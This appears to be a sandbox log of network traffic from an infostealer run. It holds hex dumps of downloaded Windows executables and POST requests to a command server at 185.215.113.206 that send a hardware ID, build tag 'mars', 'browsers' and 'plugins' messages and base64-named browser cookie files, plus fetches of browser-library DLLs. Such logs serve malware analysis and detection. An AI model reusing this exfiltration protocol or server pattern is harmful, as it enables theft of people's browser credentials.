Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 03:20:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 03:21:01 GMTContent-Type: application/octet-streamContent-Length: 1921024Last-Modified: Sun, 24 Nov 2024 03:04:57 GMTConnection: keep-aliveETag: "674297d9-1d5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4c 00 00 04 00 00 2d 9e 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 03 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 03 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6b 6d 6e 72 73 73 64 00 40 1a 00 00 d0 31 00 00 34 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 71 61 66 67 73 73 77 00 10 00 00 00 10 4c 00 00 04 00 00 00 2a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4c 00 00 22 00 00 00 2e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 03:22:12 GMTContent-Type: application/octet-streamContent-Length: 1984512Last-Modified: Sat, 23 Nov 2024 17:59:33 GMTConnection: keep-aliveETag: "67421805-1e4800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 b0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 f3 a3 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 70 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 70 17 00 00 00 c0 07 00 00 0a 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 f0 07 00 00 02 00 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 74 74 6e 62 62 64 65 00 d0 19 00 00 d0 31 00 00 c8 19 00 00 5a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 62 65 6c 77 76 6d 6b 00 10 00 00 00 a0 4b 00 00 04 00 00 00 22 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 26 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFIDGIIIJDBGDGDAKKFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 44 47 49 49 49 4a 44 42 47 44 47 44 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 44 31 32 30 34 39 36 38 44 32 33 31 30 39 39 37 33 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 44 47 49 49 49 4a 44 42 47 44 47 44 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 44 47 49 49 49 4a 44 42 47 44 47 44 41 4b 4b 46 2d 2d 0d 0a Data Ascii: ------DBFIDGIIIJDBGDGDAKKFContent-Disposition: form-data; name="hwid"58D1204968D23109973498------DBFIDGIIIJDBGDGDAKKFContent-Disposition: form-data; name="build"mars------DBFIDGIIIJDBGDGDAKKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 2d 2d 0d 0a Data Ascii: ------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="message"browsers------BAEGCGCGIEGDHIDHJJEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="message"plugins------BKECAEBGHDAEBFHIEGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="message"fplugins------FBFCGIDAKECGCBGDBAFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBKHost: 185.215.113.206Content-Length: 7379Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GDHDHJEBGHJKFIECBGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 2d 2d 0d 0a Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file"------CBAKJEHDBGHIEBGCGDGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGIJKFIJDAAAKFHIEGHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJKEBKFCAAECAAAAAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 2d 2d 0d 0a Data Ascii: ------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="file"------KKKJKEBKFCAAECAAAAAE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJEHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 